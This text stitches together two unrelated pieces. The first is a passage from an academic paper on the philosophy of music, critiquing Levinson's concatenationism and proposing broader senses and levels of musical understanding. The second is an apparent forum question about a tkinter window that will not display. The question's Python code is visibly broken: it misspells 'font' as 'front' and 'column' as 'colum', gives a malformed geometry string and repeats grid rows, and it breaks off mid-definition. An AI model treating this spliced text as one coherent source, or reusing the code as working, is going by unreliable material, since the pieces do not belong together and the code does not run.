architectonic awareness's enhancement of the perceived cogency of transitions between bits; (c) architectonic awareness's facilitation of quasi-hearing; (d) architectonic awareness's role in the perception of higher-order aesthetic properties; and (e) architectonic awareness's role as a source of distinct musical satisfactions, ones [which Levinson] characterize[s] as intellectual." (Levinson 2006a, p. 506) The first three grounds for qualification⎯(a), (b), (c)⎯are focused on the possible contribution of awareness of the architectonical form to the achievement of basic musical understanding. The last two⎯(d) and (e)⎯are focused on the direct role that might be played by such awareness in musical experience and understanding; i.e., of musical understanding of a more than basic sort (see Levinson 1999, p. 487). After exploring these qualifications and offering his qualified concatenationism, Levinson concludes that awareness of large-scale musical architecture only contributes to basic musical understanding in a small degree, and facilitates, but not in an important way, more-than9 basic understanding.7 Of this conclusion, he writes, But the plain truth is that to appreciate any music of substance, the thing to do is listen to it, over and over again. [...] Of course to experience the content of the music correctly, to respond to a piece as the piece it musicohistorically is, one must also have listened to and digested a lot of other music, in particular, that which forms the generative background to the piece in question. Still, listening is the key [...]. Contemplation of formal patterns, apprehension of spatial wholes, intellectual grasp of large-scale structural relations are of an entirely different, and lesser, order of importance. One can readily forgo them and still have entrée to the essential. (Levinson 1997, p. 174–5) 3. Supplementing Levinson's Notion of Musical Understanding There are two principal problems with Levinson's view: one concern his notion of musical understanding and the other is in regard to his concatenationism as a method of hearing. His notion of musical understanding is too narrow, and, although he provides a number of reasons to adopt his concatenationism as a plausible way to achieve a basic musical understanding, I will argue that any suitable listening technique must incorporate at least some aspects of the analytical model. Thus, the consequence of my proposals will be to bring about a broadening of the notion of musical understanding. I suggest that, 1. The sense of "understanding" used by both the experiential and analytic model must be clarified (Section 3.2.1.). This clarification will allow us to see that the models are complementary, not mutually exclusive, as our consciousness and capacity of analysis enhance our experience and enjoyment. (Section 3.2.2.) 2. Rather than insisting that the listener either achieves full musical understanding or none at all, it should be agreed that there are different levels and degrees of understanding that depend on many factors, such as the listener's mental 7 For an elaboration of the possibilities of qualified concatenationism and specific examples of each one of them, see Levinson, 1997, chapters 5–8. 10 abilities and the time invested in listening (Section 3.3.) As the notion of musical understanding is widened, we are able to prevent the seemingly inescapable dichotomy between the experiential model and the analytic model by resolving the disputes between them. I claim that both sides can agree on the usefulness of more precise definitions of different conceptions of musical understanding, and that my expansion of the notion of musical understanding is also an enhancement. My proposals, therefore, offer a better conception of musical understanding and provide a viable reconciliation between opposing views. 3.1 Problems with Levinson's Notion of Understanding Primarily, it is important to notice that there are at least three reasons to accept Levinson's concatenationst thesis: first, music is clearly listened to through time. It makes sense, then, that a musical work can be understood if listened to in time; the human ear can only grasp a piece if listened to in the present, moment by moment after all. Second, it is not even possible to perceptually apprehend a musical work in its totality. The human ear cannot apprehend "the whole" of a work or its large-scale architecture. It can only "build" the whole bit by bit. Third, because Levinson seems to be right when he claims that because music is internally synthesizable (by means of quasi-hearing), it is possible for the listener to "seemingly" apprehend the whole of a musical work, albeit progressively and never allat-once. Notwithstanding Levinson's intention of qualifying his simple concatenationism, I find a number of problems with his argument: (a) As already mentioned, his notion of understanding is too narrow because 11 Levinson a priori excludes awareness, knowledge, explanation, and description as necessary conditions for understanding music. (b) He commits himself to a false dichotomy between the analytic model and the experiential model, since, for him, only the latter is conducive to a basic musical understanding. (c) He fails to acknowledge that in order to enhance how one listens, it is important to know what one listens to. Our analytical capacity, conceptual and technical knowledge, and consciousness of what is listened to is non-negligible and plays a relevant role. 3.2 First Proposal: a Notion of Understanding Compatible with Concatenationism 3.2.1 Do the Experiential and Analytic Model Use the Same Definition of Understanding? Surprisingly, Levinson does not offer a definition of "understanding". If, as he states, musical understanding is not about formal analysis of a work, nor is it achieved through awareness of large-scale musical form, nor when the hearers are able to offer a causal explanation of the musical phenomenon or describe technically and conceptually that which they hear, what sense of "understanding" are we talking about? If understanding is achieved only through listening in a certain way, then analysis, awareness of the large-scale musical form, and the ability to explain and describe are neither necessary nor sufficient conditions for musical understanding. If awareness of the large-scale musical forms only minimally contributes to understanding, then we can be almost certain that understanding is not related to notions such as discernment, intelligence, or reason. On the contrary, the only decisive aspect of such an understanding is how we hear music⎯how we register certain aspects of the music and respond to them. Hence, 12 basic musical understanding is a species of knowing how, or procedural knowledge, not knowledge that, or propositional knowledge. Another distinction useful in discussions about musical understanding is between what to know and how to know (see Davies 1994, pp. 337–40). As I have mentioned, the former consists in a propositional knowledge, e.g., knowing that the tonic of Beethoven Symphony No. 3, Op. 55 Eroica is E flat major. Whereas the latter consists rather in the listeners' demonstrable abilities, e.g., how they are able to listen to and register how music unfolds in time and find expressivity, coherence, and unity in a piece (see Levinson 1997, p. 30). These experiences display many abilities of the listener: aural perception, detection of repetitions, anticipation and prediction, among others. Knowing how the music goes on, or "moves", is a way of listening in a concatenationist way rather than with the goal of finding true propositions about the music. The problem with the dichotomy presented by Levinson is that it does not acknowledge that both of these concepts are related: it is difficult to know how if we do not start by knowing what. We always start by knowing what an object is, and the way of knowing it or how to know it then strongly depends on that first knowledge. Take, for instance, the third movement of Brahms' Violin Concerto in D, Op. 77, allegro giocoso, ma non troppo vivace. Having precise information would certainly enhance our experience of following, reproducing and appreciating the piece⎯things we are meant to be doing on a concatenationist listening. Joseph Kerman's precise description clarifies my meaning: "[g]iocoso means 'jolly', that first theme in this rondo, A, has a lilt recalling the spirited gipsy fiddling that was popular in nineteenth-century in Vienna. The solo violin plays the theme (and much else in the movement) in double stops, that is, in 13 chords produced by bowing two violin strings simultaneously. Hard to do well, this makes a brilliant effect when done by a virtuoso" (Kerman 2000, p. 296). Numerous additional examples could easily be mentioned, such as, knowing that Berlioz's Symphony Fantastique is based on an idée fixe, which appears transfigured in each of the five movements of the symphony; the central part of the second movement of Beethoven's Eroica symphony is structured as a dramatic fugue; and so on. It is not obvious that a concatenationist listener could derive this relevant information that certainly enhances the musical understanding of the pieces simply by listening in the moment. Would it not be wise to offer a definition of basic musical understanding and clarify in what sense it is being used? In every area of philosophy, we are constantly trying to distinguish between kinds of understanding: e.g., it is not the same thing to understand a text, a human experience, a historical event, a logical formula, a fact or a causal relationship. In each of logic, epistemology and hermeneutics, the technical term understanding is generally used, but the uses often have subtle different senses. These differing senses are useful here, and I will borrow a few German terms to pick them out in what follows. Let us consider different senses of "understanding" that might be called, Verstehen, Verstand and Erklärung.8 Verstehen refers to the meaning of experience and alludes to a kind of grasping, as opposed to the understanding offered by the scientific explanatory method. Verstand means essentially intelligence, reason or judgment. And Erklärung refers 8 A number of traditions and authors who deal with the notion of "understanding" and "comprehension" stress their different uses. See, for instance, K. O. Apel and G. Wamke, 1984, Understanding and Explanation: A Transcendental Pragmatic Perspective, MIT Press, Cambridge, G. H. Von Wright, 2004, Explanation and Understanding, Cornell University Press, NY. Husserl uses Verstehen in his account of phenomenology as understanding the "lifeworld" or the things which we experienced (he took the term from Kant, as well as W. Dilthey and H.G. Gadamer) and Kant uses Verstand as a sense of understanding in his Critique of Pure Reason. 14 to explanation and is considered to be a way of apprehending objects because it suggests a kind of illustration of concepts in order to make them more understandable. Given these different senses of "understanding", the analytic model may be divided in two: if by "understanding" we mean Verstand, then the focus would be on understanding achieved through analysis, awareness and knowledge; if, on the other hand, we mean "understanding" in its Erklärung sense, then the understanding achieved when the hearer is able to give explanations of the musical form or of the structural coherence of the work is of the utmost importance. If we now suppose that the experiential model and basic musical understanding refer to Verstehen, while the analytic model and the understanding achieved in the explanation of the musical structure refer to Verstand and Erklärung, then there would be no place for any misunderstanding. Each model would refer to a different and complementary meaning of the term, understanding. Thus, we can disentangle the dispute between those who claim that understanding is reached through analysis and awareness of the musical form and those who claim that understanding is reached through the mere experience of listening. It is reasonable to infer that Levinson is thinking about the kind of understanding captured by Verstehen, since he emphasizes that understanding is achieved by apprehending; that is, in the experience of listening to music in a concatenationist way. However, he does not see that his basic musical understanding simply does not compete with understanding on the analytic model because different senses of "understanding" are in play. Levinson has suggested9 that these distinctions do not resolve the dispute because each of the parties already recognizes that there are different senses, meanings, or kinds of 9 Personal communication. 15 understanding involved, but disagree as to (a) their relative importance, and (b) their degree of dependence/independence of each other. However, I believe that this acknowledgement of different senses of understanding has not been clearly explained in the literature. Neither Levinson nor DeBellis-again, as representative thinkers of each camp⎯manifestly recognize different kinds of understanding as such. Thus, I disagree with point (a) because even Levinson, with his qualified concatenationism, concludes that awareness of largescale musical architecture contributes to basic musical understanding only in a small degree, and facilitates it, but not in an important way. Levinson practically excludes any contribution of the analytic model in his account of musical understanding: it makes no significant difference whether we say that the importance of awareness and an intellectual approach is irrelevant in order to achieve understanding or that it is relevant in such a minor degree. Both assessments imply that awareness is practically irrelevant. The same objection applies to point (b): for supporters of the experiential model, the recognition of the degree of dependence on analysis in the reaching of understanding is negligible. In fact, Levinson means to show that it is clearly independent from the process of reaching musical understanding. According to my view, however, when a listener hears music in a concatenationist way, it is desirable and useful for him to have knowledge of musical theory, technical vocabulary, awareness of musical forms, etc. in order to enhance his musical understanding and articulate more accurately his experience. In short, if we assume that Levinson primarily uses this limited sense of understanding, it is unnecessary for him to reject the analytic model view because it is compatible with his own view. Basic musical understanding would constitute only one specific "type" of understanding. 16 3.2.2. Why is it Useful to Find a Sense of Understanding Compatible with Concatenationism? Another way to look for a sense or meaning of "understanding" compatible with concatenationism is by treating it as a correspondence between the experiential sphere and the cognitive sphere; i.e., by allowing for reconciliation between both views presented.10 To broaden the notion of musical understanding, making the analytic and experiential models complementary, we must accept that, included in the mental abilities of the hearer, are those held to be important by the analytic model; i.e., categorization, conceptualization, analytical evaluation, description, etc. In the framework of a basic musical understanding, then, it would be essential to allow for these abilities' being important. Even if we do not consider them sufficient, we have to admit that knowledge, awareness, and other abilities are relevant to understanding music, and are more closely linked to experience of listening than Levinson thinks. At this point, it is important to make two observations. First, let us not claim that Levinson already holds a compromise view between the experiential model and the analytic model simply because his view refers to a cognitive-affective bond. Levinson only acknowledges that the experience of listening implies a relation between that which we perceive, attend to, imagine, and that which we sense, enjoy, appreciate. It is also important to notice that he allows only for certain cognitive abilities to play a role in the reception of music. For example, he does not consider crucial some of the abilities Roger Scruton does 10 I am aware that it might be objected that my argument implies the necessity and sufficiency of the analytic model for achieving basic musical understanding. Even though that is not so, it could be asked if my proposals do not invalidate at least the concatenationst view. In what follows, I will show that it would not only not be invalidated, that it would be usefully broadened. 17 (1997 and 1974). He does not allow the abilities of describing-at least metaphorically-or explicitly locating certain elements in organization to play much of a role. The next quotations illustrate these points: Those who propose the ability to offer descriptions of music as prerequisite to basic musical understanding make two mistakes: first, the representations in terms of which music is grasped may be not articulate in nature; second, even if they were, being able to access them after listening so as to produce descriptions of the music would at most be evidential, but neither necessary nor sufficient, for having had a hearing experience of the right sort (Levinson 1997, x–xi). [T]he point is that gratifying impressions of familiarity, unity-through-change, and the like require no conscious reflection on where or when some musical material was previously encountered, no active appreciation of the pattern of events, thematic or harmonic, as a whole. (Levinson 1997, p. 82). Qualified concatenationism claims that the intellectual pleasure obtained from apprehending musical form in a large-scale (a) is unnecessary to achieve basic musical understanding because it aims at an object different from that at which basic understanding aims⎯the experiential model points toward a musical work of art, whereas the analytic model directs listeners at a sound phenomenon open to analysis and explanation; (b) is not comparable with the pleasure obtained in the experience of listening, which of course involves awareness not of global form but of local form (see Levinson 1996, pp. 56–66), as well as of the expressive content which results or emerges from evolving form. We should keep in mind that Levinson distinguishes the pleasure obtained through an intellectual approach to music from the aesthetic pleasure obtained through the experience of listening. I emphasize this because the pleasure obtained in concatenationist listening implies awareness of the individual bits one listens to and what they express; that is, the conjunction of content and form. Still, this does not mean that Levinson accepts the importance of an intellectual approach to music. 18 In searching for a sense of "understanding" compatible with concatenationism, I have tried to argue for the possibility of the analytic and experiential models complementing, not excluding, one another. Both approaches to music can coexist and give feedback to one another since understanding has to do with perceiving or grasping the meaning of something, but also with conceptualizing and describing how, e.g., musical notes spread in time and how we find or identify their expressiveness. In support of this position, I propose a few possibilities, but do so while keeping in mind that Levinson is reacting against the views of those who plead for the analytic model; that is, while defending the "common" listener, who has no previous training in the matter and, even so, can achieve musical understanding. Now, my first claim is that even if we are radical supporters of the experiential model, we have to acknowledge and admit the importance of analysis and awareness of form, even in the small-scale, not only to conceptualize, identify, describe, but to follow, link and reproduce the different bits. To follow, link and reproduce, they who listen in the moment need a certain awareness and a more complex mental process to come into play; that is, to identify certain notes or individual bits and be able to follow them, the inexperienced listener must essentially hear with an awareness of time and space or of the moment in which the bits go by. What would happen to concatenationism if parts of the analytic model were accepted in order to achieve musical understanding? Would the experiential model cease to be concatenationist? Focusing on the second possibility in what follows, I will try to demonstrate that awareness enhances our experience and, therefore, our musical understanding. My second claim is that if we accept that the human ear can detect certain elements of the music's organization or coherence (by means of apprehending the musical relationships of bits on the small-scale and moment by moment, as Levinson proposes), I 19 believe that the concatenationist method does not prevent the listener from developing a detailed analysis of bits of the musical structure in order to be aware of the technical scope of a work. Likewise, our awareness, knowledge and analysis of the musical form do not subtract anything valuable from our experience. In fact, the listener would not cease to have the experience of listening, or cease to pay attention to and minutely analyze what he listens to at each moment in a concatenationist manner. In this way, he could complement his experience with an analysis and achieve an enriched basic musical understanding. For instance, any person can experience when sound goes from loud to soft. If a listener were aware of many different gradations that exist in an actual piece of music or passage, though, the experience of the passage would be enriched. If we listen to-in a concatentationist way-the beginning of the Smetana's Overture to The Bartered Bride and reflect on dynamics, we find: 0'00": opening outburst, full orchestra, fortissimo. 0'11": Sudden change to quiet rustling produced by violins, subito piano. 0'24": Three appearances of a short, gruff bit of music spaced out from one another, each forte. 1'14": Crescendo. 1'19": Culmination in a rowdy dance, the polka, fortissimo again. 1'22": Return to the quiet rustling, mezzo forte.11 Our experience of this piece would be enhanced if we were to reflect on concepts and analysis during a concatenationist hearing. Following the last example, having the experience of the music and understanding it has not only to do with its expressivity due to its dynamics, but also with our consciousness, analysis and technical knowledge of those properties that enhance our understanding. In other words, we have good reasons to accept that the experiential and analytical models are compatible, and that their combination 11 J. Kerman develops an interesting analysis of listening to Smetana's Overture to The Bartered Bride, in Kerman, et. al., 2000, p. 4. 20 results in a more complete musical understanding. That is, first, that the listener has a certain awareness of the notes related with dynamics that he or she listens to in a precise moment. Second, that the listener is able to conceptualize, in a certain way, some individual parts in order to focus on and listen to aspects in progress of various music passages. This listening to the dynamics and analyzing them does not reduce our experience, but on the contrary, strengthens it. Levinson has objected to my considerations by saying that this would not be basic musical understanding obviously, but rather "higher" or non-basic musical understanding. I agree that mine would be an enhanced notion of musical understanding. Nevertheless, following Levinson's own thought on the subject, the term 'basic' in "basic musical understanding" such as he defines it does not mean elemental, but rather fundamental for any further understanding: by "the adjective 'basic' [...] I mean to convey that such understanding is essential-to any apprehension of music-, fundamental-to any further musical understanding-, and central-to worthwhile experience of any kind-but not that it is simple, or elementary, or rudimentary" (Levinson 1997, p. 33). Now the question is whether or not my sense of musical understanding is compatible with Levinson's qualified concatenationism? He reflected on the possibilities of the awareness of the large-scale musical form facilitating or contributing to the hearing or quasi-hearing. However, awareness, analysis and technical knowledge of the form in a small-scale-note by note or moment by moment-would allow for a legitimate qualified concatenationism. I think we have good reasons to admit that the analytic model and the experiential model do complement each other, if we now accept that both possibilities are relevant for a broader musical understanding. I claim that (1) finding a meaning of musical understanding compatible with 21 concatenationism may clarify the position that we as listeners, proponents of the analytic model or the experiential model, philosophers or musicologists want to hold, and that because it resolves the false dichotomy between what is and what is not understanding, it is even more worthwhile to do so; (2) adopting the Verstehen meaning for the basic musical understanding proposed by Levinson shows a way out of the disputes with the supporters of the analytic model; and (3) using qualified concatenationism as a plausible way of understanding music through analysis, technical knowledge and awareness of the smallscale form significantly complements understanding achieved through experience. There is no way of proving that the mechanisms employed by the analytic model and the experiential model are as independent in the act of listening as the debate assumes. If I, as a "common" listener, hear constantly and repeatedly the same piece, even though my first approach was without awareness or knowledge of the musical form, after many times, a moment will arrive in which I detect certain aspects of the form⎯through listening I will be able to deduce certain musical features constitutive of the structure. How much does this contribute to my understanding though?12 Levinson would say that it is generally very little. Nevertheless, my goal is to enhance basic musical understanding beyond simple temporal order and to show that musical satisfaction with a piece is relevant to our experience of listening to music. I think that as much as we can detect and deduce constitutive elements, our satisfaction in listening to music piece will be greater. Moreover, I claim that the idea of musical architecture or musical form not only is related with the analytical, but also with experiential model. We can experience form through short phrases and by following their repetitions and contrasts, which eventually provide us a microcosm of musical form. Kerman is right when he maintains that a large- 12 A question raised by Levinson in a personal communication. 22 scale composition like a symphony is something like a greatly expanded tune, and its form is experienced in basically the same way. Form in art also has a good deal to do with is emotional quality: it is a mistake to consider form as merely structural or intellectual matter. Think of the little (or big) emotional "click" we get at the end of a limerick, or a sonnet, where the accumulated meanings of the words are summed up with the final rhyme. This is an effect to which form -limerick form or sonnet form- contributes. Similarly, when at the end of a symphony a previously heard melody comes back, with new orchestration and new harmonies, the special feeling this gives us emerges from a flood of memory; we remember the melody from before, in its earlier version. That effect, too, is created by musical form (Kerman 2000, pp. 39–40). Regardless of whether or not you are an ordinary listener, without knowledge, large-scale form-awareness, or ability in analysis, after constantly and repeatedly listening, it is impossible not to go through cognitive processes which involve mental representations of the music. Even though such representations are not directly observable, we infer their existence and nature until we notice them, hear them, memorize them and reproduce them. Finally, there is not an explicit divorce between the technical and the non-technical in music⎯between the form and the features of the form. The simple act of constantly and repeatedly listening will eventually produce knowledge of the structural and technical features of the music and of its global form.13 As Sloboda argues, evidence suggests that listeners without musical training do have an implicit knowledge of that which musicologists can talk about explicitly (1997, p. 3). 3.3 Second Proposal: Accepting Levels and Degrees of Musical Understanding If the false dichotomy between the experiential model and the analytic model is removed, 13 For an interesting discussion about a right listener's background of knowledge and practice, see J. Levinson, 1990. See also P. Kivy 1990, S. Davies 1994, and R. Scruton 1997, all of which include extended discussion of this topic. 23 several shades of understanding can be now appreciated. It is possible to see that there is not only one way of understanding music, but rather there are several levels, degrees and aspects of understanding. My second proposal is that inside one basic musical understanding there is room to distinguish between levels and degrees of understanding. Why would distinguishing levels and degrees of understanding within basic musical understanding be plausible? Levinson himself sheds light on this when (a) he argues that the hearer's abilities to follow and reproduce are a compelling sign of musical understanding and can be obtained through an attentive act of-concatenationist- listening; and (b) when he observes that basic musical understanding can be achieved when the hearer listens to a musical piece closely and repeatedly; i.e., when the hearer positions himself in the right music-historical space and listens with attention, constancy and repetition to a piece until he becomes very familiar with it. From this, I infer that levels and degrees of understanding can be explained as follows: (a) One aspect of a listener's understanding accords with his mental abilities; e.g., ceteris paribus understanding is not the same with a hearer who identifies the instruments in Smetana's Overture and the different tone colors at each moment, as with a hearer who hardly distinguishes between string instruments. These listeners both achieve understanding, but at different levels. Consider another section of The Bartered Bride Overture as heard by a listener who can differentiate instrumental tone colors. He or she will listen to the passage and experience the music's flow with the tone color changing every five seconds or so and the theme changing suddenly when it is played by different instruments, each with its own characteristic tone color. The listener would hear something like, at 2'59" there are three 24 drum strokes and an outburst: timpani, then massed woodwinds. 3'04": Part 2 of the outburst theme-massed string instruments, timpani. 3'09": Quiet rustling, violins playing together. 3'11": The theme, four spurts of music, violas. 3'16": Theme again, this time carried by a clarinet. 3'21": Third theme, two flutes. 3'26": Theme, fourth time: oboe with a bassoon below. 3'40": So many instruments are playing that tone colors are hard to distinguish (see Kerman 2000, p. 5). Here we have a different level of understanding than that achievable by someone who cannot distinguish between tone colors. (b) Another aspect of a listener's understanding accords with the time and constancy spent in hearing; e.g., ceteris paribus understanding is not the same for a hearer who attentively listens to Bruckner's Eighth Symphony twice a week for a year and for one who listens to it twice in a year. Both of them can achieve a basic musical understanding, but different degrees of it. In this respect also, every time we hear the symphony, we find different properties and qualities of the musical work. Our ear becomes more acute and sophisticated and we understand the piece to a more complex degree. For example, the listeners can identify the accompaniment of tremolando strings in the scherzo, pulsating string chords in D flat, over which violins have an expressive hymn-like theme in the adagio. Alternatively, more generally they notice the themes to which a movement returns, phrase repetitions, as well as apprehending the theme's articulation. We can justify the proposal for identifying different levels of understanding as follows:14 We know that concatenationst listening implies attention to the musical present, but there are other elemental aspects to which the hearer must pay attention. In order to 14 See (Davies 2007, pp. 25–79). 25 understand, the hearer should be able to: distinguish music from non-musical noise or from sounds unconnected with the piece; recognize when a piece is beginning and when it is coming to a close, so that they can tell when a performance breaks down or stops unexpectedly; recognize repetitions, where and when they occur, and be able to identify the earlier themes even if the repetition is not exact; register the waxing and waning of musical tension and movement and the expressive character of the music; predict how the music will continue and distinguish between an unanticipated but appropriate continuation and a performance blunder; experience the music as unfolding in a "logical" way. Most of these capacities can be characterized in a concatenationist way. Hence, it is not possible to believe that every listener has the same ability to listen to music. So, although it would be difficult or impossible to exactly measure and quantitatively determine someone's level of musical understanding, we can accept that not everybody achieves the same basic musical understanding, even if we are listening to music in a concatenationist way. As for the time and effort spent listening, (b), Levinson sheds light on the possibility of identifying degrees of understanding. If he does not make this suggestion explicitly, he at least implies it when he emphasizes the importance of listening closely and repeatedly to a music piece. How long must one listen before achieving basic musical understanding? It depends on many factors. For example (differing from Levinson) Davies correctly emphasizes the importance of the preparation of the appreciative musical listener, which cannot rest alone with what he can grasp unreflectively, simply by attending to music. He also stresses that, in order to reach a deeper understanding, the hearer needs certain information⎯some idea of the course of music history, genres and styles, etc. (Davies 26 2007, pp. 25–79).15 It is not easy to reach consensus as to when the hearer achieves a certain degree of understanding, how to measure the degree of understanding achieved, or what exactly is a degree. I accept this difficulty, as it is also difficult to determine somebody's knowledge of music, or how well listeners can analyze a work. Nevertheless, I still think that we can admit knowledge as well as degrees, and that we can regard as an important variable to enhanced musical understanding the time that the hearer devotes to listening-even though listening twice as many times certainly does not guarantee twice the understanding. Musical understanding is not the same for everybody: there are different levels and degrees of understanding since listeners apprehend different "parts of musical meaning" according to their abilities of listening and the time they spend on it. One of these parts is related to the purely internal connections of the music, its kinetic and dynamic content, and the other part has to do with the expressive elements of the music, its emotional and dramatic content.16 In this sense, basic musical understanding permits a grasp of both musical movement and extramusical expression. In such a way, basic musical understanding is correlative with basic musical meaning. Finally, let me suggest that qualified concatenationism considered as a tool for listening and achieving a basic musical understanding, can do the work that an intellectual approach requires: we can know, analyze and be aware of the small-scale form, and we can infer the large-scale form from this. Qualified concatenationism also answers the requirements of levels and degrees of musical understanding, and it would be possible to achieve basic musical understanding notwithstanding the mental states in which we 15 Levinson calls a listener's background formation in his "Musical Literacy", ibid. 16 Levinson (1997, p. 34) supports this idea from the argument of Roger Scruton: "Notes on the Meaning of Music" (1993). 27 approach a work, or what purposes we pursue by listening to it. The full details of how qualified concatenationism can pull this off, however, must be postponed to a later work. Conclusion In this paper, I have agreed that the idea of concatenationism is a very convincing way of hearing music. Drawing on a qualified version of concatenationism, I explored the possibility of expanding the notion of musical understanding by means of two proposals which led to a resolution of the disagreement between those who claim that understanding is achieved by the experience of listening and those who claim that understanding is achieved through analysis and awareness of musical architecture or large-scale musical structure. I argued that there is no real dichotomy between the experiential model and the analytic model, and I showed a way in which aware and analytical understanding can not only complement our experience of music, but also allow us to enhance this understanding. The new view that I presented in this paper not only captures important parts of what both models originally had in mind, but also gives a more accurate picture of the process of listening with understanding. "Understanding" implies a complicated mix of the three senses that I explained (Verstehen, Verstand and Erklärung), and neither the analytic nor the experiential model had recognized this. Given that, the three aspects of "understanding" are there and are important for basic musical understanding; both the development of complex mental processes, including the conscious effort to connect fragments of music and the repeated listening can contribute to increase our understanding. Thus, in order to broaden Levinson's notion of music understanding, I proposed that levels and degrees of understanding could be defined in reference to mental abilities, and to the time and dedication spent in hearing, respectively. Regarding these points, 28 Levinson's qualified concatenationism, besides being a very useful way of listening to music and experiencing it, is already compatible with the enhanced understanding that I have presented. REFERENCES Davies, S., 2007, "Musical Understandings", in A. Becker and M. Vogel (eds.) Musikalischer Sinn: Beiträger zu einer Philosophie der Musik, Suhrkamp, Frankfurt. -----, 2003, Themes in the Philosophy of Music, Oxford University Press, Oxford. -----, 2001, Musical Works & Performances, a Philosophical Exploration, Oxford University Press, Oxford. -----, 1999, "Review of Music in the Moment", The Philosophical Quarterly, 19, pp. 403– 405. -----, 1994, Musical Meaning and Expression, Cornell University Press, Ithaca. DeBellis, M., 2005, "Conceptual and Nonconceptual Modes of Music Perception", Postgraduate Journal of Aesthetics, 2 (2), pp. 45–61. -----, 1995, Music and Conceptualization, Cambridge University Press, Cambridge. Kerman, J., et al., 2000, Listen, Bedford/St. Martin's, Boston. Kivy, P., 2001, "Music in Memory and Music in the Moment" in New Essays on Musical Understanding, Oxford University Press, Oxford. -----, 1990, Music Alone. Philosophical Reflection on the Purely Musical Experience, Cornell University Press, Ithaca. Koopman, C. and Davies, S., 2001, "Musical Meaning in a Broader Perspective", The Journal of Aesthetics and Art Criticism, vol. 59, no. 3, pp. 261–273. Levinson, J., 2006a, "Concatecionism, Architectonism, and the Appreciation of Music", Revue International de Philosophie, Université Libre de Bruxelles, vol. 60, no. 238, pp. 505–514. -----, 2006b, "Musical Expressiveness as Hearability-as-Expression", Contemplating Art, Oxford University Press, Oxford. -----, 1999, "Reply to Commentaries on Music in the Moment", Music Perception 16, pp. 485–494. 29 -----, 1997, Music in the Moment, Cornell University Press, Ithaca. -----, 1996, The Pleasures of Aesthetics, Cornell University Press, Ithaca. -----, 1990, "Musical Literacy", Music, Art and Metaphysics, Cornell University Press, Ithaca. Scruton, R., 2007, "In Search of the Aesthetic", British Journal of Aesthetics, vol. 47, no.3, pp. 232–250. -----, 2004, "Wittgenstein and the Understanding of Music", British Journal of Aesthetics, vol. 44, no.1, pp.1–9. -----, 1998, The Aesthetic Understanding: Essays in the Philosophy of Art and Culture, St. Agustin's Press, Indiana. -----, 1997, The Aesthetics of Music, Oxford University Press, Oxford. -----, 1993, "Notes on the Meaning of Music," in Michael Krausz (ed.) The Interpretation of Music: Philosophical Essays, Oxford University Press, Oxford. -----, 1974, Art and Imagination, Methuen and Co., London. Sloboda, J., 1997, "Listening to music", The Musical Mind: The Cognitive Psychology of Music, Oxford University Press, Oxford. |
Q:
Why isn't the tkinter window showing?
I try to build a student management system while this tkinter window does not show after running following code. Can someone give some advice here? This is public source code from youtube chanel.
from tkinter import *
from tkinter import ttk
class Student:
def __init__(self,root):
self.root=root
self.root.title("student management system")
self.root.geometry("1350*700+0+0")
title=Label(self.root,text="Student Management System",bd=10,relief=GROOVE,front=("time new roman",40,"bold"),bg="yellow",fg="red")
title.pack(side=TOP,fill=X)
Manage_Frame=Frame(self.root,bd=4,relief=RIDGE,bg="crimson")
Manage_Frame.place(x=20,y=70,width=450,height=560)
#========Massage Frame===============================
Manage_Frame=Frame(self.root,bd=4,relief=RIDGE,bg="crimson")
Manage_Frame.place(x=20,y=100,width=450,height=560)
m_title=Label(Manage_Frame,text="Manage Students",bg="crimson",fg="white",front=("time new roman",30,"bold"))
m_title.grid(row=0,columnspan=2,pady=10)
lbl_roll = Label(Manage_Frame, text="Roll No.", bg="crimson", fg="white",front=("time new roman", 20, "bold"))
lbl_roll.grid(row=1, colum=0, pady=10,padx=20,sticky="w")
txt_roll = Entry(Manage_Frame,front=("time new roman", 15, "bold"),bd=5,relief=GROOVE)
txt_roll.grid(row=1, colum=2, pady=10, padx=20, sticky="w")
lbl_name = Label(Manage_Frame, text="Name", bg="crimson", fg="white", front=("time new roman", 20, "bold"))
lbl_name.grid(row=1, colum=0, pady=10, padx=20, sticky="w")
txt_name = Entry(Manage_Frame, front=("time new roman", 15, "bold"), bd=5, relief=GROOVE)
txt_name.grid(row=2, colum=1, pady=10, padx=20, sticky="w")
lbl_Email = Label(Manage_Frame, text="Email", bg="crimson", fg="white", front=("time new roman", 20, "bold"))
lbl_Email.grid(row=1, colum=0, pady=10, padx=20, sticky="w")
txt_Email = Entry(Manage_Frame, front=("time new roman", 15, "bold"), bd=5, relief=GROOVE)
txt_Email.grid(row=3, colum=0, pady=10, padx=20, sticky="w")
lbl_Gender = Label(Manage_Frame, text="Gender", bg="crimson", fg="white", front=("time new roman", 20, "bold"))
lbl_Gender.grid(row=4, colum=0, pady=10, padx=20, sticky="w")
combo_Gender=ttk.Combobox(Manage_Frame,front=("times new roman",20,"bold"))
combo_Gender['values']=("Male","Female","other")
combo_Gender.grid(row=4,colum=1,padx=20,pady=10)
lbl_Contact = Label(Manage_Frame, text="Contact", bg="crimson", fg="white", front=("time new roman", 20, "bold"))
lbl_Contact.grid(row=5, colum=0, pady=10, padx=20, sticky="w")
txt_Contact = Entry(Manage_Frame, front=("time new roman", 15, "bold"), bd=5, relief=GROOVE)
txt_Contact.grid(row=5, colum=1, pady=10, padx=20, sticky="w")
lbl_DOB = Label(Manage_Frame, text="DOB", bg="crimson", fg="white",front=("time new roman", 20, "bold"))
lbl_DOB.grid(row=6, colum=0, pady=10, padx=20, sticky="w")
txt_Contact = Entry(Manage_Frame, front=("time new roman", 15, "bold"), bd=5, relief=GROOVE)
txt_Contact.grid(row=6, colum=1, pady=10, padx=20, sticky="w")
lbl_address = Label(Manage_Frame, text="Address", bg="crimson", fg="white", front=("time new roman", 20, "bold"))
lbl_address.grid(row=6, colum=0, pady=10, padx=20, sticky="w")
txt_address = Entry(Manage_Frame, front=("time new roman", 15, "bold"), bd=5, relief=GROOVE)
txt_address.grid(row=6, colum=1, pady=10, padx=20, sticky="w")
#=========Button Frame=========
btn_Frame=Frame(Manage_Frame,bd=4,relief=RIDGE,bg="crimson")
btn_Frame.place(x=15, y=500, width=420)
Addbtn = Button(btn_Frame,text="add",width=10).grid(row=0,column=0,padx=10,pady=10)
Updatebtn = Button(btn_Frame, text="update", width=10).grid(row=0, column=1, padx=10, pady=10)
Deletebtn = Button(btn_Frame, text="delete", width=10).grid(row=0, column=2, padx=10, pady=10)
Clearbtn = Button(btn_Frame, text="clear", width=10).grid(row=0, column=3, padx=10, pady=10)
#=========Detail Frame=========
Detail_Frame = Frame(self.root, bd=4, relief=RIDGE, bg="crimson")
